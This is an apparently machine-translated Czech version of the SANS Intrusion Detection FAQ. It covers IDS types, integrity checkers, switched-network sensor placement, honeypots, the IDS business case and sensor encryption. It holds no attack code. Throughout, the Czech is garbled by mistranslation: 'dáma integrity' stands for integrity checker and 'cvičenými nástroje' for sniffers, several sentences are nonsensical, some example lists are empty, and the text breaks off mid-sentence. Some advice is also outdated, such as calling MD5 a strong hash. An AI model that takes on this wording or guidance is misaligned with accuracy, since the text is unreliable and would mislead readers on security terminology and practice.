IDS/IPS

Intrusion Detection lze definovat jako "... akt odhalování akce, které se pokoušejí narušit důvěrnost, integritu či dostupnost zdrojů." ¹Přesněji řečeno, cílem detekce narušení je identifikovat subjekty, pokoušet se rozvrátit bezpečnostní kontroly na místě.

Založil síť (Network IDS)

detekce narušení sítě na bázi pokouší identifikovat neoprávněnému nedovolené a anomální chování založenou výhradně na provozu v síti. Síť IDS, buď pomocí síťového kohoutek, span port nebo rozbočovač shromažďuje pakety, které procházejí danou síť. Použití sebraná data, procesy systému IDS a vlajky jakýkoli podezřelý provoz. Na rozdíl od systému prevence narušení, což systém detekce narušení není aktivně blokovat provoz v síti. Role sítě IDS je pasivní, pouze shromažďování, identifikace, logování a varování. Příklady Network IDS:

Hostitelské Based (HIDS)

Často označované jako HIDS, detekce narušení založené hostitel pokouší identifikovat neoprávněnému nedovolené a anomální chování na konkrétní zařízení. HIDS obecně zahrnuje agenta nainstalovaného na každém systému, sledování a upozorňování na lokálním operačním systému a aktivitu aplikace. Instalovaný agent použije kombinace podpisů, pravidly a heuristiky identifikovat neoprávněné aktivity. Role hostitele IDS je pasivní, pouze shromažďování, identifikace, logování a upozorňování. Příklady HIDS:

Fyzikální (Physical IDS)

Fyzikální detekce narušení je akt identifikace hrozeb pro fyzické systémy. Fyzikální detekce narušení bezpečnosti je nejčastěji vidět, jak fyzické kontroly zavedeny s cílem zajistit CIA. V mnoha případech se systémy detekce fyzické neoprávněné vniknutí působit jako systémů prevence stejně. Příklady fyzického narušení detekce jsou následující:

Intrusion Prevention

prevence narušení následuje stejný proces shromažďování a identifikační údaje a chování, s přidanou schopnost blokovat (zabránění) aktivitu. To lze provést pomocí sítě, hostitele a fyzických systémů detekce narušení.

Jak mohu přispět dotaz na dotazy?

Jedná se o SANS Intrusion Detection a Guide Response FAQ autora. Zakládající přispěvatelé do FAQ jsou:

Prosím, dejte mi sdílet naše vize pro tento projekt. Doufám, že společně můžeme vytvořit užitečný dokument k pomoci lidem dozvědět více o detekce narušení. Když uživatel klikne na zápis do seznamu otázek, odpověď bude přesné, jasně napsáno, up-to-date esej, nebo bílý papír ve stylu dokumentu. K tomu, weare žádají lidi, aby přijaly otázky, napsat kvalitní odpovědi, a držet je up-to-date.

Pro účast, prosím, rozhodne se o novém otázce. Příští, napsat dobrou odpověď doplněný odkazy, diagramy a příklady podle potřeby. Obecně platí, že vaše odpověď by měla být tři až pět odstavce dlouhá s úvodem, část těla, a uzavření. Prosím pošlete jednu odpověď na e-mailové zprávy! Adresa pro odeslání odpovědi je následující: info@sans.org s "vniknutí" jako předmět. SANS předá odpověď na mně. Prosím pošlete soubor buď jako ASCII text nebo jako dokument Microsoft Word. Chcete-li být připsány za vaši práci, dát své jméno a organizaci v dolní části souboru.

Poznámka: Pokud si vyberete pre-existující otázku, budu se pokusí sloučit dva kusy, ale je to moji výzvu, jak to udělám. Pokud nechcete, aby se vaše otázka up-to-date, nebo je-li vaše odpovědi neodpovídají celkovou kvalitu FAQ, budu muset nahradit odpovědi jiných autorů. Budu se snažit, aby se zabránilo dělá to, a vy můžete pomoci tím, že i nadále aktualizovat své otázky.

Budeme přezkoumat svou odpověď na přesnost, a pokud si nejsme jistí materiálu, pošlu ho do FAQ etickou komisí, která je složena ze zakladatelů a FAQ kdokoliv jiný mohu donutit :) dostat své číst dál odpověď. Ještě jednou děkuji za dobrovolnictví. Nemohu se dočkat, až uvidím svou odpověď (y)!

Mohu použít MAC adresu ethernetového paketu vystopovat útočníka?

V případě, že útok pocházel ze systému, který má přímé napojení do systému s žádným bránu mezi nimi, pak můžete použít adresu MAC. Ale pokud brána je v cestě, pak brána nahradí MAC adresu odesílatele s vlastní adresu. V důsledku toho je možné trasovat útok pouze na bránu. V případě, že brána umožnila rozsáhlá těžba, můžete zvážit hledání souboru protokolu pro více informací.

Sledoval jsem svoje síťové protokoly a vidím spoustu pokusů o mapování. Jsou nedělá žádné skutečné škody, takže bych měl být opravdu obavy o nich?

Předpokládejme, že non-descript auto začíná turné po svém okolí, odepsat adresu každého domu. Lidé v autě jsou zřejmě při pečlivé poznámky o každém domě. A začnete pozorovat, že ti samí lidé vracejí ke kontrole sousedství v různých časech během dne i v noci. By ti to nevadí? To by si jistý obtěžovat mě.

Rozhovory s útočníky odhalit dva významné trendy: Jsou ochotni investovat spoustu času a energie na průzkum, a tam je spousta informací o cíli, který může být snadno detekována. Obránci musí být také informováni o sofistikovanosti moderních síťové skenování nástrojů, jako Nmap. S nmap může útočník zřejmě určit operační systém terče, jeho náchylnost k číselnému predikce TCP sekvence, a jaké služby běží. Thatâs hodně informací, které mají dát pryč, a umožňuje útočníkům umístit exploity specifické cíle, které chtějí zaútočit.

To je to, co tito lidé dělají svým sítím. Jsou kontroluje, jaké stroje jsou žijí na svých sítích, když jsou stroje zapínat a vypínat, a které stroje reagovat na které typy pokusů o mapování. Jediným důvodem, proč shromažďovat tento druh inteligence, o svých sítích je využít informace v nějaké cestě.

Jak je nástroj jako checker integrity používané v Intrusion Detection?

Je velmi obtížné napadnout počítač aniž by se změnila systémový soubor, takže soubor dáma integrity jsou důležitou schopnost detekce narušení. Dáma integrity souboru počítá kontrolní součet pro každý hlídané souboru a uloží toto. V pozdější době si můžete vypočítat kontrolní součet znovu a otestovat aktuální hodnotu proti uloženou hodnotu určit, zda soubor byl změněn. Dáma integrity souborů je schopnost, že byste měli očekávat s jakýmkoli komerčním systémem detekce narušení hostitelské bázi.

Primární kontrolní součet, který byl použit pro to bylo 32 bit CRC (cyklická redundantní kontrola). Útočníci prokázaly schopnost upravit soubor způsoby, kontrolní součet CRC nezjistil, a proto se doporučují silnější kontrolních součtů známé jako kryptografických hash. Příklad kryptografických hash patří MD5 a snefru.

Jedním z problémů při používání kontrolu integrity souborů je falešně pozitivní problém. Při aktualizaci souborů nebo použít systémové záplaty to změní soubor. Vytvoření počáteční databáze signatur je snadné, držet ji v aktuálním stavu je mnohem těžší. Nicméně, i když jen spuštění kontroly jednou (při první instalaci systému) to může být stále velmi cenné. Je-li někdy obavy, že systém byl kompromitován můžete spustit kontrolu znovu určit, které soubory mají, nebo nebyly změněny.

Druhá výzva s dámou integrity souborů je, že musíte mít původní systém při vytváření první referenční databáze. V opačném případě může být vytváření kryptografických hash narušenou systému, zatímco pocit tepla a fuzzy, že jste se provádí dobré zabezpečení. Je také velmi důležité, že budete ukládat referenční databáze v režimu offline nebo útočník může ohrozit systém a skrýt své stopy změnou referenční databázi.

Co otevřených standardů existují pro detekci narušení?

Nejsou žádné zcela zralé otevřené standardy ID v současnosti. Nicméně, my se blíží.

Internet Engineering Task Force (IETF) je orgánem, který vyvíjí nové internetové standardy. Mají pracovní skupinu pro vypracování společného formátu pro výstrahy IDS. Skupina se propracoval fázi požadavků, a design je v podstatě upřesněn, přestože detaily i nadále měnit. Předběžný zavádění do praxe je zřejmě možné, i když implementace bude muset změnit, protože standard je dokončena. Konstrukce zahrnuje zasílání upozornění na bázi XML přes HTTP, jako je formát komunikací. Velká pozornost byla věnována potřebám IDS analýzy, a k tomu, že protokol práci přes firewally přímočaře.

Další přispěvatelé jsou vždy vítány. IETF pracovní skupiny jsou otevřena každému odborně způsobilé osoby, která chce přispět. Jednotlivci zastupují své vlastní názory na nejlepší způsob, jak vyřešit problém, spíše než na pořad jednání svého zaměstnavatele.

K dispozici je také snaha o T4 výboru ISO je vypracovat rámec detekce narušení. Stav tohoto úsilí je v současné době znám, a pokusy podle autora FAQ položky k dosažení významných osobností tohoto úsilí bylo neúspěšné.

Společný Intrusion Detection Framework (CIDF) byl pokus Defense Advanced Research Projects Agency USA Govt je (DARPA) rozvíjet Interchange Format IDS pro použití výzkumníky DARPA. CIDF nebylo zamýšleno jako standard, který by mít vliv na komerčním trhu; to byl výzkumný projekt. Vývoj CIDF je v současnosti nečinná. CIDF používal Lisp jako formátu pro výměnu informací o událostech souvisejících s narušení, a definoval velký soubor primitiv pro použití v těchto zprávách. Více informací lze nalézt na webových stránkách CIDF na http://gost.isi.edu/cidf/ .

Jak si nasadit sítě založené systémy detekce narušení bezpečnosti v přepínané síti?

Obtížnost provádění IDS do přepínané prostředí vychází ze základních rozdílů mezi standardními rozbočovače a přepínače. Náboje nemají žádnou představu o spojení, a proto bude echo každý paket do každého portu na rozbočovači s výjimkou pouze port paket přišel v dál. Spínač je však založen na spojení, když paket přijde do dočasného připojení v přepínači-li se na cílový port, a pakety jsou předány. Takže v náboji prostředí můžeme umístit naše senzory prakticky kdekoliv, zatímco u přepínačů musí být specifické řešení použity k zajištění senzor je schopen vidět provoz potřeba.

Současné možnosti pro toto jsou kohoutky, huby a kostry porty. Překlenutí portu konfiguruje přepínač chovat jako rozbočovač pro určitý port. Například na obr-1, chceme-li sledovat spojení mezi přepínačem a Machine zdrojů. K tomu říci přepínač překlenout data z portu stroje zdrojů do přístavu IDS. To může být provedeno s přenášet data, Příjem dat nebo obojí. Některé současné přepínače nelze spoléhat na projít 100% provozu na rozložený portu, takže útoky mohl jít un-si všiml, i když je systém IDS nakonfigurován tak, aby hledat útoku. Přepínače rovněž umožňují pouze jeden port, které mají být rozložené v čase, takže sledování více počítačů může být obtížné nebo nemožné.

Použití rozbočovačů nebo TAPS je velmi podobné řešení, rozbočovač nebo kohout je umístěn mezi připojením, které mají být monitorovány. To je obvykle mezi buď dva spínače, směrovač a přepínač nebo server a přepínač, atd. Na obrázku 2 je náboj umístěn mezi strojem zdrojů a spínačem. To umožňuje provoz na stále proudit mezi přepínačem a nedostatek zdrojů, zatímco vlastnosti náboje způsobují kopii dopravy, které mají být zkopírovány dolů na IDS. Toto, jako SPAN port je vhodná pouze pro jednotlivé stroje. Několik strojů na náboji by způsobilo problémy v síti a odstranit výhody přepínané řešení. Kromě toho, aby se tolerantní hub poruchy zvýší náklady na řešení dramaticky. Kohouty jsou z konstrukční vadou tolerantní mající hlavní spojení (tj spojení mezi zdrojem a spínačem), hardwired do zařízení, zabraňuje selhání.

Obrázek 3 ukazuje kohout monitorování jednoho počítače zdrojů. V kohoutku je jednosměrný a předává provoz z přepínače a strojem zdrojů pouze na IDS. Tím se zabrání komunikaci procházející od IDS k přepínači nebo Resource stroji ani nemůže být zaměřena na provoz IDS. Vzhledem k tomu, Tap je jednosměrný můžeme směrovat provoz z několika kohoutků zpět do rozbočovače, které mají být monitorované systémem IDS, aniž by způsobily problémy se sítí, je to znázorněno na obrázku 4.

Co je Honeypot?

Přehled
Honey Pot Systems jsou volaví servery nebo instalační systémy, které shromažďují informace týkající se útočník nebo vetřelce do vašeho systému. Je důležité si uvědomit, že Honey Pots nenahrazují dalších bezpečnostních tradiční Internet systémy; jsou další úrovně nebo systému.
Hrnce medu lze nastavit uvnitř, venku nebo v DMZ z firewallu konstrukci nebo dokonce ve všech místech, ačkoli oni jsou nejvíce často nasazena uvnitř firewall pro účely kontroly. V jistém smyslu, oni jsou varianty standardní Intruder Detection Systems (IDS), ale spíše s důrazem na shromažďování informací a podvod.
Příkladem systémů Honey Pot instalovaných v tradičním zabezpečení Internetu designu:

Systém Honey Pot je nastaven tak, aby bylo snazší kořist pro útočníky než skutečná produkčních systémů, ale s drobnými úpravami systému tak, aby jejich aktivita může být zaznamenána z dohledat. Obecným myšlenka je, že jakmile vetřelec pronikne do systému, budou vracet pro příští návštěvě. Během těchto následných návštěvách, doplňující informace mohou být shromažďovány a další pokusy o souboru, bezpečnost a přístupový systém na medu lze monitorovat a uloží.

Obecně platí, že existují dvě populární důvody nebo cíle za zřízení Honey Pot:

1. Přečtěte si, jak vetřelci sonda a pokoušet se získat přístup ke svým systémům. Hlavní myšlenkou je, že od záznam o intruderâs činností je drženo, můžete získat vhled do metodiky útočných lépe chránit své skutečné výrobní systémy.

2. Shromažďovat soudní údaje potřebné pro pomoc při dopadení nebo stíhání narušitele. Jedná se o druh informací často nutná k zajištění pracovníků donucovacích orgánů s údaji potřebnými ke stíhání.

Společný způsob uvažování při zřizování Honey Pot systémů je, že je přijatelné použít lži nebo podvodu při jednání s vetřelci. Co to znamená pro vás při nastavování Honey Pot je, že některé cíle je třeba zvážit.

Tyto cíle jsou:

1. Systém Honey Pot by měla vypadat jako generické jak je to možné. Pokud zavádíte systém Microsoft NT založené, měl by Zdá se, že potenciální vetřelce, že systém nebyl změněn nebo se mohou odpojit před hodně informace jsou shromažďovány.

2. Musíte dávat pozor na to, co provoz umožníte vetřelec poslat zpět k Internetu pro vás Donát chtít, aby se stal bod startu pro útoky proti jiným subjektům na internetu. (Jedním z důvodů pro instalaci Honey Pot uvnitř firewallu!)

3. Budete chtít, aby váš Honey Pot zajímavé stránky umístěním informací "fiktivní" nebo aby to vypadalo, jako kdyby vetřelec našel server "Intranet", atd. Očekávat, že stráví nějaký čas, aby vaše Honey Pot se objeví legitimní, aby vetřelci bude trávit dostatek času vyšetřování a studoval systém tak, že jste schopni shromáždit co nejvíce informací forenzní jak je to možné.

Některé námitky existují, které by měly být považovány při zavádění systému hrnec medu. Některá ta nejdůležitější patří:

První námitka je úvaha, že v případě, že informace získané ze systému Honey Pot se používá pro účely stíhání, může nebo nemusí být považovány za přípustné u soudu. Zatímco informace týkající se tohoto problému je obtížné sehnat, který byl najat jako soudní znalec pro účely forenzní pro obnovu dat, mám vážné výhrady k zda nebo ne všechny soudy budou akceptovat jako důkaz nebo v případě non-technické poroty jsou schopni pochopit legitimita to jako důkaz.

Druhou hlavní námitka k posouzení, zda je hacking organizace budou demonstrace proti organizaci, která stanovila "pasti" a zpřístupnit je veřejnosti cíl pro ostatní hackery. Příkladem tohoto druhu činnosti lze snadno nalézt na některý z populárních hackerâs míst nebo jejich publikací.
Hladiny nebo vrstvy Tracking

Informace poskytované na vetřelce závisí na úrovních sledování, které youâve povolené na Honey Pot. Společné sledování úrovně zahrnují firewall, systémové protokoly na Honey Pot a cvičenými na bázi nástrojů.
Záznamy Firewall

Firewally jsou užitečné jako součást celkového designu Honey Pot z mnoha důvodů. Většina firewallů poskytuje funkce activity-protokolování, které mohou být použity k identifikaci, jak je narušitel pokouší dostat do Honey Pot. I přirovnávají logy firewallu ke směrovači logů; oba se dají nastavit pro zachycení a uložení paketů předem určeného typu. Nezapomeňte, že při nastavení firewallu, měli byste za normálních okolností chtít zaznamenávat všechny pakety jdoucí do systému Honey Pot, jak by měl být žádný legitimní důvod pro provoz jít do nebo z Honey Pot.

Přezkoumání pořadí, sekvence, časová razítka a druh paketů útočníkem používají k získání přístupu k tobě Honey Pot vám pomůže určit nástroje, metodika používá vetřelcem a jejich záměry (vandalismus, krádeže dat, vzdálený vyhledávací bod startu, atd.). V závislosti na detail možnostech těžby na vašem firewallu může nebo nemusí být schopna získat značné informací z těchto protokolů.

Další užitečnou funkcí mnoha firewallů je jejich schopností oznámení. Většina firewallů může být konfigurován pro odesílání upozornění e-mailem nebo pager vás bude upozorňovat na dopravní jít do nebo z Honey Pot. To může být velmi užitečné při nechat si zkontrolovat vloupání aktivita Ačkoliv ITAS děje.

systémové protokoly

Unix a Microsoft NT Zdá se, že lví podíl na trhu internetových serverů. Naštěstí oba operační systémy mají funkce protokolování zabudované do svých operačních systémů, které pomáhají určit, jaké změny nebo pokusy byly provedeny. Je třeba poznamenat, že out-of-the pole Unix nabízí vynikající funkce protokolování ve srovnání s Microsoft NT.

Některé z jejich out-of-the box protokolování možnosti jsou mimo jiné:

c. Běh opravuje Netsvc.exe je třeba spustit ručně a ve srovnání s počátečním stavem.

b. Syslogd â významnou možností je, že se může přihlásit ke vzdálenému serveru! Rozsah zařízení a prioritám dostupným prostřednictvím syslogd je velmi dobrá.

Tam jsou také k dispozici, které výrazně zvyšují informace, které mohou být shromážděny několik nástrojů. Mnohé z těchto nástrojů Unix jsou public domain, zatímco mnoho z nástrojů Microsoft NT nejsou.

cvičenými nástroje

Cvičenými nástroje poskytují možnost vidět všechny informace nebo paketech mezi firewallem a systémem Honey Pot. Většina štěnicemi dispozici jsou schopné dekódovat běžné TCP paketů, jako Telnet, HTTP a SMTP. Použití sniffer nástroj vám umožní vyslýchat pakety blíže určit, jaké metody vetřelec se pokouší použít v mnohem více detailů než firewall nebo systémové logování osamocený.

Dalším přínosem pro cvičenými nástroje je, že mohou také vytvářet a ukládat soubory protokolu. Soubory protokolu pak mohou být uloženy a použity pro forenzní účely.

Honey Pot Solutions

Implementace řešení Honey Pot jako součást bezpečnostního systému v první řadě znamená rozhodnutí o tom, zda ke koupi komerční řešení, nebo se rozhodnou vytvořit svůj vlastní.

Budování Honey Pot

Existuje celá řada nástrojů public domain a software k dispozici, které mohou být užitečné pro vás pomoci nastavení Honey Pot, stejně jako mnoho míst věnován na pomoc vás provede celým procesem. Většina nástrojů Zdá se, že vznikl na platformě Unix, přičemž mnoho z nich bylo přeneseno do aplikace Microsoft NT.

Co budete muset vytvořit nebo rozvinout svůj vlastní systém Honey Pot jsou minimálně z následujících složek a značnou dobu konfigurace:

1. Pracovní stanici nebo PC. Zdá se, jako by pracovní stanice s procesorem Intel je v pořádku.

2. Operační systém. Dávám přednost BSD Unixu nebo RedHat protože nejsou k dispozici pro platformu Unix, než NT více nástrojů.

Komerční Honey Pot Systems

Existuje celá řada komerčních systémů Honey Pot k dispozici. Operační systémy nejrozšířenější jsou podporovány Microsoft NT a Unix. Jak mnozí z komerčního produktu byly uvolněny v posledních 12 A 18 měsíců, některé z nich jsou stále ještě v poměrně rané verze. Snažil jsem se najít informace týkající se podílu na trhu, ale wasnât schopni najít žádné publikované statistiky.

Některé z komerčních systémů Honey Pot K dispozici jsou:

Schwartau, Winn. "Lhát hackery je v pořádku podle mě: Část 9 9" 7. července 1999. URL: http://www.nwfusion.com/newsletters/sec/0705sec2.html?nf~~HEAD=pobj 21.června 2000

Young, Kevin. "Schématu Fly-strip zabezpečení." 15.listopadu 1999. URL: http://www.zdnet.com/computershopper/stories/reviews/0,7171,2392030,00.html 21.června 2000

Ranum, Marcus. "Intrusion Detection: Výzvy a mýty." URL: http://www.nfr.net/forum/publications/id-myths.html 21.června 2000

Duvall, Mel. "Nová Decoy Technology navržen tak, aby Sting hackery." 1 června 1998. URL: http://www4.zdnet.com/intweek/daily/980601k.html 21.června 2000

Spitzner, Lance. "Chcete-li Postavit Honeypot." 07.06.2000 7.června 2000. URL: http://www.enteract.com/~lspitz/honeypot.html 22.června 2000

Co je to honeypot a jak se používá?

Honeypot je prostě systém, program nebo soubor, který nemá vůbec žádný smysl ve výrobě. Proto můžeme vždy předpokládat, že pokud je k přístupu ke Honeypot, to je z nějakého důvodu nesouvisejícího s vaší organizaci účelu.

Tahounem všech honeypotů je Honeyd. To simuluje kompletní prostředí a je k dispozici od http://www.honeyd.org/.

Dalším typem honeypot se nazývá Proxypot, což je proxy server bez kontroly přístupu. Otevřená Proxy honeypot umožňuje internetové klientům připojit se a dělat požadavky na proxy server pro připojení k internetu hostitelů, a to i těch, které jsou za proxy server. To umožňuje serveru provoz, které mají být zkoumány odhalit různé hrozby, včetně distribuovaných heslo k účtu quessing, Nessus web zranitelností a proxy, řetězení.

K dispozici je také honeypot program se nazývá podvod Tool Kit, který lze stáhnout z http://www.all.net/dtk/index.html . Můžete nakonfigurovat odpovědi pro každý port.

Honeypots jsou pravděpodobně jedním z posledních bezpečnostních nástrojů by organizace měla realizovat. Je to především kvůli obavám, že někdo může používat Honeypot útočit na jiné systémy.

Co je to honeypot? Proč potřebuji jeden?

A "honeypot" je nástroj, který může pomoci ochránit o síť před neoprávněným přístupem. Honeypot neobsahuje žádná data a aplikace důležité pro společnosti, ale má dost zajímavá data k návnadě hackera. Honeypot je počítač v síti jediným smyslem je vypadat a chovat se jako legitimní počítači, ale ve skutečnosti je nakonfigurován k interakci s potenciálními hackery takovým způsobem, aby zachytit podrobnosti o jejich útoků. Honeypots jsou známé také jako obětní beránek, klamné cíle, nebo léčce. Čím více realističtější interakce, tím déle útočník zůstane obsazené na Honeypot systémech a od svých produkčních systémů. Čím delší je hacker zůstává použití Honeypot, tím více budou zveřejněny informace o jejich techniky. Tato informace může být použita k identifikaci, co jsou po, jaký je jejich úroveň dovedností, a jaké nástroje dělat používají. Všechny tyto informace jsou pak použity k lepší přípravě vaší síti a obranu hostitele.

Honeypot může být použita k rozšíření nasazení systému IDR. Některé z problémů s komerčním IDR zahrnují neschopnost pro detekci nízkou úroveň útoků, technik či nástrojů, které jsou nové nebo dosud známy, nebo použití technik, které se mohou objevit jako legitimní činnost uživatele. Do jisté míry je honeypot je rovněž předmětem chybí nové útoky. Nicméně, honeypot je jednoznačně schopen vám vědět, že někteří hacker je ve vaší síti dělat věci, které nemají obchodní dělá. Honeypot je může všimnout, protože pokud jde o další bezpečnostní opatření (včetně IDR) jsou oprávněným uživatelům.

Proč bych neměl spustit Honeypot?

Jako obecné pravidlo lákadla může být velmi užitečné pro organizace, které mají prostředky k jejich udržení. Pro organizace, které nemají bezpečnostní personál, aby pozorně sledovat Honeypot organizace má, v nejlepším případě, vytvořil zranitelný systém, který není sledován a v nejhorším případě, systém, který může být zneužit a použit k útoku na jiné systémy. Tam je potenciální odpovědnost spočívá v běhu záměrně zranitelné systémy.

Je-li někdo z velké organizaci zavolal a požádal vás o radu, co on nebo ona by měla udělat jako první, abyste mohli začít na EZS, co jedna věc, kterou byste doporučil?

První věc, kterou musíte udělat, je přemýšlet o tom, co je ku prospěchu organizace očekává, že z této investice bude muset udělat. Jedním dobrým výchozím místem je podívat se na dopad minulých průniky. V případě, že společnost byla předmětem nedávné průniky a hacking činnosti, budou vědomi rizik z nutnosti. Studium minulosti vniknutí a reakce společnosti budou užitečné při formulování obchodní případ pro detekce narušení produkty. Například produkty pro detekci narušení by se lovilo vniknutí dříve úspory $ x.xx a rozpaky vniknutí v tisku.

Náklady na předchozí průniků bude přínosem při přípravě předběžné analýzy nákladů a přínosů. Náklady na vniknutí mohou zahrnovat výpadky výroby, negativní vztahy s veřejností, které by mohly ovlivnit cenu akcií dané společnosti, sabotáž kritických informací vede ke špatným rozhodnutím, nebo neoprávněnému přístupu nebo odcizení důvěrných informací vedoucí ke ztrátě konkurenční výhody. Pořizovací cena zahrnuje i náklady spojené s vyšetřováním, právní, soudní a zpravodajství vedení.

Pochopení výhod detekce narušení musí být vyvinut s obecnou známost s detekce narušení bezpečnosti výrobků v současné době na trhu. Cíle a cíle detekce narušení bezpečnosti výrobků je třeba chápat. Pochopení vztahu mezi případových cíli podnikání a zájmů konkrétních produktů pomáhá uvést, v čem je možné dosáhnout a bude také připravit cestu pro výběr produktů, které splňují společnost IDS potřebuje. Bohužel, tam jsou k dispozici na detekci narušení není mnoho referenční textové knihy. Webové stránky, bílé knihy, brožury produktu a detekce narušení konference bude poskytovat dobrý výchozí bod pro sestavení těchto informací. Diskutovat EZS s dalšími organizacemi, které zavedly detekce narušení může ukázat jako velmi užitečné.

Průniky a incidenty není jediný možný přínos IDS. Další zajímavá událost je citlivé informace jsou zaslány v jasné. IDS vám umožní vyzkoušet vody pro Data Loss Prevention (DLP), zvláště v případech, klasické použití, jako jsou čísla sociálního zabezpečení, kreditních karet a podobně. DLP řešení je velmi nákladné a vyžaduje přidání zaměstnance zvládnout počet událostí velká organizace je pravděpodobné, že vidět. Pomocí open source Snort, je možné získat představu o tom, kolik událostí za měsíc se vyskytují. Dalším potenciálním zajímavá událost je případ pracovníků vysílajících citlivé nebo důvěrné informace mimo k Internetu v jasné vybírají technologií, jako je FTP nebo e-mailu, který není šifrován. Je možné pracovat s obchodními jednotkami pro identifikaci slova a fráze, které pravděpodobně indikují citlivé informace.

Dalším krokem je přeložit tento materiál pro správu. Bílé knihy a prezentace jsou dobré mechanismy ke zvýšení povědomí a porozumění detekce narušení managementu. Cílem je vytvořit dobré obchodní případ pro použití detekce narušení. Náklady na nedávné vloupání podle vniknutí do společnosti pomůže podpořit obchodní případ, i když pouze na neoficiální úrovni. Jistě, nedávné související případy z médií by pomohlo posílit potřebu detekce narušení. Vedení budou s větší pravděpodobností jednat, když se obchodní případ silně kloubové a jasně vztaženy k výhodám detekce narušení výrobků.

detekce narušení se nebude zdarma, a to iv případě, že používáte open source produkt. Očekáváme, že čas na výzkum, nabývat, konfigurovat a implementovat být mnohem nižší než celkový každodenní správu informací. Také, přemýšlet o tom, paměťové strategie v předstihu. Chcete zachovat zajímavých událostí, které byly zjištěny? Mohou existovat zákonné požadavky, jak zachovat tyto za pět nebo dokonce sedm let? I když používáte s nižšími náklady softwarový RAID pět udržovat tyto výstrahy, budou náklady měřitelná. Také organizace často chtějí ukládat záznamy v jejich SIEM. Existuje mnoho výhod, ale to taky něco stojí. Když budete prezentovat potenciální přínos pro organizaci, snažím se být co nejpřesnější s přihlédnutím k nákladům.

Pokud komunikace mezi snímačem (nebo jeho zástupcem) a monitor šifrována?

V ideálním případě je senzor na sdělení monitoru měla být zašifrována, aby se zabránilo zachycování nebo změny, které mají být provedeny. Zkušení narušitelé budou vědět, hledat Intrusion Detection související s provozem a mohou mít i schopnost zachytit provoz. detekce narušení senzory mohou posílat tři typy dat na monitoru:

Jistě, všechny tyto informace narušení by bylo užitečné, aby vetřelce. Například vetřelec mohl zachytit a mazat data ani výstrahy tak, že nikdy dělat to na monitoru. Proto monitor nikdy obdrží upozornění a vniknutí může zůstat nepovšimnuto. Dokonce i v případě, že data nikdy změněn, skutečnost, že to bylo potenciálně zranitelný vůči změnám by mohl dělat to nepoužitelný jako důkaz u soudu. Šifrování komunikace čidla nebudou zakrývat přítomnost senzorů, ale bude zakrývat celý obsah od těch, kteří se mohou zachytit kopie dat ze sítě. Monitor bude vědět, jestli padělané zprávy jsou generovány, protože nebudou zašifrována. Šifrování také ujišťuje, že výstrahy a další pokračovací aktivity nejsou založeny na nepravdivých nebo falešných zpráv.

Dalším řešením pro ochranu tohoto sdělení je to všechno na samostatnou síť určená pro detekci narušení senzory a monitory. Samostatnou sítě nemusí být vyhodnotit potenciální narušitele a snížilo by riziko, ze ne pomocí šifrování. Provoz senzor není ve stejné síti, kde je detekce útoků je vyroben. Další výhodou je, že oddělená síť bude méně náchylné k popření servisních útoků, jejichž cílem je zneškodnit detekce útoku obrany. Nevýhodou této architektury je náklady na údržbu samostatnou síť pro detekci průniků.

Detekce narušení produkty nabízejí různé šifrovací schopnosti. Prosím, poraďte se se svým dodavatelem pro více informací o svých šifrovacích schopností.

Proč je detekce narušení bezpečnosti požaduje v dnešním počítačovém prostředí?

Detekce narušení bezpečnosti je zapotřebí todayâs výpočetních prostředí, protože to je nemožné držet krok se současnými i potenciálními hrozbami a zranitelností v našich výpočetních systémů. Životní prostředí se neustále vyvíjí a mění poháněný nových technologií a internetu. Aby toho nebylo málo, hrozby a zranitelnosti v tomto prostředí jsou také neustále vyvíjí. Detekce narušení produkty jsou nástroje, které pomáhají při zvládání hrozeb a slabých míst v tomto měnícím se prostředí.

Hrozby jsou osoby nebo skupiny, které mají potenciál ohrozit váš počítačový systém. Ty mohou být zvědaví teenager, nespokojený zaměstnanec nebo špionáž od konkurenční společnosti nebo zahraniční vlády. Hacker se stala nemesis pro mnoho firem.

Chyby zabezpečení jsou nedostatky v systémech. Zranitelnosti mohou být zneužity a použity k ohrozit bezpečnost počítače. Nové zranitelná místa se objevují po celou dobu. Každá nová technologie, produktu nebo systému s sebou přináší novou generaci chyb a nezamýšlené konflikty nebo nedostatky. Také možné dopady ze zneužití těchto chyb se neustále vyvíjí. V nejhorším případě k zásahům může způsobit výpadky produkce, sabotáž kritických informací, krádeže důvěrných informací, hotově, nebo jiných aktiv, nebo dokonce negativní public relations, které mohou mít vliv na cenu akcií companyâs.

Výrobky Intrusion Detection jsou nástroje, které mohou pomoci při ochraně společnosti před narušením tím, že rozšíří dostupné možnosti pro řízení rizika před hrozbami a zranitelností. Funkce detekce narušení může firmě pomoci zabezpečit jeho informace. Tento nástroj by mohl být použit k detekci narušitele, identifikovat a zastavit vetřelce, vyšetřování podpory zjistit, jak narušitel dostal dovnitř, a zastavit exploit z používání budoucích vetřelci. Oprava by měla být použita v rámci celého podniku na všechny podobné platformy. Detekce narušení bezpečnosti výrobků se může stát velmi mocný nástroj v soupravě nářadí na informační bezpečnosti practitionerâs.

Může objem síťového provozu dost vysoko, aby nepřekročil schopnost detektorů?

Objem paketů přenášených síťovém segmentu je důležitým aspektem při použití detekce narušení v tomto segmentu. Tam je limit na počet paketů, které senzor detekce narušení sítě lze přesně analyzovat pro potenciální vniknutí v daném časovém období. Část objemu síťového provozu, která přesahuje tuto hranici hlasitosti je předmětem nedostávají úplné a přesné analýzy narušení. Čím vyšší je úroveň dopravní sítě a komplexnější analýzu, tím vyšší je chyba faktor může být.

Je důležité vědět, práh pro detekci vniknutí produktu a konfigurace, které používáte a jak produkt reaguje, když je objem přesáhne tuto hranici výkonu. Selhání detekce narušení monitorů jsou patrné vysoké dopravní situaci a obecně způsobeno nástupem chyby zpracování senzoru před nástupem podobné chyby procesu v samotné síti. Tyto chyby jsou obecně předčasné vyřazení z kopírovaných síťových paketů v analýze fázi zpracování přijmout více příchozích paketů.

Compaq Computer Corporation zveřejnila výsledky analýzy výkonnosti RealSecure od Internet Security Systems, Inc. (ISS) v jejich aktivní odpovědi (11 1998 ECG077 / 1198). Studie je uvedeno:

âPerformance Testování bylo provedeno s použitím nástrojů z Národního Software Testování Labs (NSTL) metodiky softwarový firewall a Netperf společností Hewlett-Packard pro vytváření malých, středních a těžkých datových přenosech zátěže s protokolem HTTP. Program Netperf byl použit pro simulaci Telnet sezení. Použití obou nástrojů povoleny pro standardizaci datových zatížení ve všech třech kategoriích: malé, střední a těžké. Tyto datové zatížení byly použity v každém testu. Odkazují na výkon firewallu bílých knih na http://www.compaq.com pro více informací o NSTL firewall srovnávací methodology.â

v prostředí Windows NT výsledky analýzy výkonu Compaq byly následující:

